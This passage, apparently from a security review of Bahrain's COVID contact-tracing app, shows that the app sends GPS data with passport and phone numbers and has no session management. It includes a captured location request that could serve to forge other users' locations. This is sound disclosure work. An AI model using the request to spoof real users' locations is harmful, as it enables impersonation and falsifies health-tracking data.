注册完成后,应用会收集手机的 GPS 坐标,并持续将其传输到后端。传输的 信息还包含护照 / CPR 号码以及手机号码。这是因为该应用没有任何会话 管理机制。这也使攻击者能够伪造其他用户的 GPS 坐标,前提是 掌握了他们的电话号码和身份证号。
以下是所发送请求的示例:
POST /corona-tracking-client-api/locations HTTP/1.1
Content-Type: application/json; charset=utf-8
Content-Length: 495
Host: apps.bahrain.bh
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.12.11
{"location":{"event":"motionchange","is_moving":false,"uuid":"c68c095c-0058-4bb7-91db-36bca8892e9c","timestamp":"2020-06-02T23:08:48.000Z","odometer":0,"coords":{"latitude":26.164627075195312,"longitude":50.62568664550781,"accuracy":100,"speed":0,"heading":0,"altitude":170},"activity":{"type":"still","confidence":100},"battery":{"is_charging":true,"level":1},"extras":{}},"userDevice":{"userType":"passport","userId":"12AAXXXXXXXX","deviceId":"707af21c623b95bc","mobileNumber":"+447XXXXXXXXX"}}
注意:userId 参数的值就是护照号码。
从网络代理的活动记录表中,可以看出用户位置被发送到后端服务器的频率:
| URL | 日期 |
|---|---|
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:27:26 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:27:02 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:26:02 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:25:02 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:24:32 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:23:00 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:21:44 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:16:15 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:15:08 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:14:32 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:12:53 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:11:49 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:10:37 GMT |
无障碍性
该应用提供了良好的无障碍功能,支持多种语言,包括英语、乌尔都语和波斯语。

任何人都可以使用该应用,对电话号码或身份证号没有任何限制。
该应用体积也很小(小于 11 Mb),但由于需要持续传输手机的 GPS 坐标,因此非常耗费资源。

